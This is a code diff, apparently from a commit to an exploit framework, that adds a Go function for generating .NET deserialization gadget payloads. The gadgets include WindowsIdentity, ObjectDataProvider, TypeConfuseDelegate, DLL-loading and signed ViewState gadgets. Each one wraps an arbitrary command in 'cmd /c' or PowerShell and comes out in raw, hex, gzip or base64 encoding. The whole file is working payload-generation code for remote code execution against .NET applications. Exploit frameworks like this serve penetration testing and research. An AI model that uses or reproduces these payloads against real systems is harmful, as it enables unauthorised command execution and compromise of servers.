|
| 1 | +package deserialization |
| 2 | + |
| 3 | +import ( |
| 4 | + "bytes" |
| 5 | + "compress/gzip" |
| 6 | + "encoding/base64" |
| 7 | + "encoding/hex" |
| 8 | + "strings" |
| 9 | + |
| 10 | + "github.com/vulncheck-oss/go-exploit/dotnet" |
| 11 | +) |
| 12 | + |
| 13 | +// GenerateDotNetGadget generates a .NET deserialization gadget with a command/URL, formatter and encoding. |
| 14 | +// |
| 15 | +// Gadgets (Command-based): windows-identity, claims-principal, dataset, dataset-type-spoof, object-data-provider, text-formatting-runproperties, type-confuse-delegate |
| 16 | +// Gadgets (URL-based): object-ref, veeam-crypto-keyinfo |
| 17 | +// Gadgets (XML-based): dataset-xmldiffgram |
| 18 | +// Gadgets (DLL-based): axhost-state-dll, dll-reflection |
| 19 | +// Gadgets (ViewState): viewstate - format: "base64_inner_payload:machineKey:generator" |
| 20 | +// Gadgets (Prebuilt): Any other name loads via ReadGadget |
| 21 | +// |
| 22 | +// Formatters: binary/binaryformatter (default), soap/soapformatter, soapwithexceptions/soap-exceptions, los/losformatter |
| 23 | +// Encodings: raw, hex, gzip, gzip-base64, base64-raw, default (URL-safe base64) |
| 24 | +func GenerateDotNetGadget(gadget, cmd, formatter, encoding string) string { |
| 25 | + var payload string |
| 26 | + var ok bool |
| 27 | + |
| 28 | + if formatter == "" { |
| 29 | + formatter = dotnet.BinaryFormatter |
| 30 | + } |
| 31 | + |
| 32 | + formatterStr := mapFormatter(formatter) |
| 33 | + |
| 34 | + switch gadget { |
| 35 | + case "windows-identity": |
| 36 | + program, args := parseCommand(cmd) |
| 37 | + payload, ok = dotnet.CreateWindowsIdentity(program, args, formatterStr) |
| 38 | + case "claims-principal": |
| 39 | + program, args := parseCommand(cmd) |
| 40 | + payload, ok = dotnet.CreateClaimsPrincipal(program, args, formatterStr) |
| 41 | + case "dataset": |
| 42 | + program, args := parseCommand(cmd) |
| 43 | + payload, ok = dotnet.CreateDataSet(program, args, formatterStr) |
| 44 | + case "dataset-type-spoof": |
| 45 | + program, args := parseCommand(cmd) |
| 46 | + payload, ok = dotnet.CreateDataSetTypeSpoof(program, args, formatterStr) |
| 47 | + case "dataset-xmldiffgram": |
| 48 | + payload, ok = dotnet.CreateDataSetXMLDiffGram(cmd) |
| 49 | + case "object-data-provider": |
| 50 | + program, args := parseCommand(cmd) |
| 51 | + payload, ok = dotnet.CreateObjectDataProvider(program, args, formatterStr) |
| 52 | + case "text-formatting-runproperties": |
| 53 | + program, args := parseCommand(cmd) |
| 54 | + payload, ok = dotnet.CreateTextFormattingRunProperties(program, args, formatterStr) |
| 55 | + case "type-confuse-delegate": |
| 56 | + program, args := parseCommand(cmd) |
| 57 | + payload, ok = dotnet.CreateTypeConfuseDelegate(program, args, formatterStr) |
| 58 | + case "object-ref": |
| 59 | + payload, ok = dotnet.CreateObjectRef(cmd, formatterStr) |
| 60 | + case "veeam-crypto-keyinfo": |
| 61 | + payload, ok = dotnet.CreateVeeamCryptoKeyInfo(cmd, formatterStr) |
| 62 | + case "axhost-state-dll": |
| 63 | + dllBytes := []byte(cmd) |
| 64 | + if isBase64(cmd) { |
| 65 | + decoded, err := base64.StdEncoding.DecodeString(cmd) |
| 66 | + if err == nil { |
| 67 | + dllBytes = decoded |
| 68 | + } |
| 69 | + } |
| 70 | + payload, ok = dotnet.CreateAxHostStateDLL(dllBytes, formatterStr) |
| 71 | + case "dll-reflection": |
| 72 | + dllBytes := []byte(cmd) |
| 73 | + if isBase64(cmd) { |
| 74 | + decoded, err := base64.StdEncoding.DecodeString(cmd) |
| 75 | + if err == nil { |
| 76 | + dllBytes = decoded |
| 77 | + } |
| 78 | + } |
| 79 | + payload, ok = dotnet.CreateDLLReflection(dllBytes, formatterStr) |
| 80 | + case "viewstate": |
| 81 | + parts := strings.SplitN(cmd, ":", 3) |
| 82 | + if len(parts) != 3 { |
| 83 | + return "" |
| 84 | + } |
| 85 | + // Decode base64-encoded inner payload (first part) |
| 86 | + innerPayload := strings.TrimSpace(parts[0]) |
| 87 | + if isBase64(innerPayload) { |
| 88 | + decoded, err := base64.StdEncoding.DecodeString(innerPayload) |
| 89 | + if err != nil { |
| 90 | + return "" |
| 91 | + } |
| 92 | + innerPayload = string(decoded) |
| 93 | + } |
| 94 | + |
| 95 | + // CreateViewstatePayload returns a base64-encoded string |
| 96 | + viewStateBase64, success := dotnet.CreateViewstatePayload(innerPayload, strings.TrimSpace(parts[1]), strings.TrimSpace(parts[2])) |
| 97 | + if !success { |
| 98 | + return "" |
| 99 | + } |
| 100 | + |
| 101 | + // Decode back to raw bytes because dotnetEncodingHelper will handle encoding |
| 102 | + decodedViewState, err := base64.StdEncoding.DecodeString(viewStateBase64) |
| 103 | + if err != nil { |
| 104 | + return "" |
| 105 | + } |
| 106 | + payload = string(decodedViewState) |
| 107 | + ok = true |
| 108 | + default: |
| 109 | + gadgetBytes, err := dotnet.ReadGadget(gadget, formatterStr) |
| 110 | + if err != nil { |
| 111 | + return "" |
| 112 | + } |
| 113 | + payload = string(gadgetBytes) |
| 114 | + ok = true |
| 115 | + } |
| 116 | + |
| 117 | + if !ok { |
| 118 | + return "" |
| 119 | + } |
| 120 | + |
| 121 | + return dotnetEncodingHelper([]byte(payload), encoding) |
| 122 | +} |
| 123 | + |
| 124 | +// parseCommand splits a command string into program and arguments. |
| 125 | +// Wraps with "cmd /c" unless program is cmd/powershell/pwsh. |
| 126 | +func parseCommand(cmd string) (string, string) { |
| 127 | + if cmd == "" { |
| 128 | + return "", "" |
| 129 | + } |
| 130 | + |
| 131 | + parts := strings.SplitN(cmd, " ", 2) |
| 132 | + if len(parts) == 1 { |
| 133 | + return "cmd", "/c " + cmd |
| 134 | + } |
| 135 | + |
| 136 | + program := parts[0] |
| 137 | + if program == "cmd" || program == "powershell" || program == "pwsh" { |
| 138 | + return program, parts[1] |
| 139 | + } |
| 140 | + |
| 141 | + return "cmd", "/c " + cmd |
| 142 | +} |
| 143 | + |
| 144 | +// mapFormatter maps user-friendly formatter names to dotnet package constants. |
| 145 | +// Supports: binary/binaryformatter, soap/soapformatter, soapwithexceptions/soap-exceptions, los/losformatter. |
| 146 | +func mapFormatter(formatter string) string { |
| 147 | + switch strings.ToLower(formatter) { |
| 148 | + case "binary", "binaryformatter": |
| 149 | + return dotnet.BinaryFormatter |
| 150 | + case "soap", "soapformatter": |
| 151 | + return dotnet.SOAPFormatter |
| 152 | + case "soapwithexceptions", "soap-exceptions": |
| 153 | + return dotnet.SOAPFormatterWithExceptions |
| 154 | + case "los", "losformatter": |
| 155 | + return dotnet.LOSFormatter |
| 156 | + case "": |
| 157 | + return "" |
| 158 | + default: |
| 159 | + return formatter |
| 160 | + } |
| 161 | +} |
| 162 | + |
| 163 | +// isBase64 checks if a string is valid base64. |
| 164 | +// Auto-detects base64-encoded DLL payloads. |
| 165 | +func isBase64(s string) bool { |
| 166 | + if len(s) < 4 { |
| 167 | + return false |
| 168 | + } |
| 169 | + _, err := base64.StdEncoding.DecodeString(s) |
| 170 | + return err == nil |
| 171 | +} |
| 172 | + |
| 173 | +// dotnetEncodingHelper performs encoding of the generated gadget based on provided options. |
| 174 | +// Supports: raw, hex, gzip, gzip-base64, base64-raw, default (URL-safe base64). |
| 175 | +func dotnetEncodingHelper(returnData []byte, encoding string) string { |
| 176 | + switch encoding { |
| 177 | + case "raw": |
| 178 | + return string(returnData) |
| 179 | + case "hex": |
| 180 | + return hex.EncodeToString(returnData) |
| 181 | + case "gzip": |
| 182 | + buffer := &bytes.Buffer{} |
| 183 | + writer := gzip.NewWriter(buffer) |
| 184 | + if _, err := writer.Write(returnData); err != nil { |
| 185 | + return "" |
| 186 | + } |
| 187 | + _ = writer.Close() |
| 188 | + return buffer.String() |
| 189 | + case "gzip-base64": |
| 190 | + buffer := &bytes.Buffer{} |
| 191 | + writer := gzip.NewWriter(buffer) |
| 192 | + if _, err := writer.Write(returnData); err != nil { |
| 193 | + return "" |
| 194 | + } |
| 195 | + _ = writer.Close() |
| 196 | + return urlsafeBase64Encode(buffer.Bytes()) |
| 197 | + case "base64-raw": |
| 198 | + return base64.StdEncoding.EncodeToString(returnData) |
| 199 | + default: |
| 200 | + return urlsafeBase64Encode(returnData) |
| 201 | + } |
| 202 | +} |
0 commit comments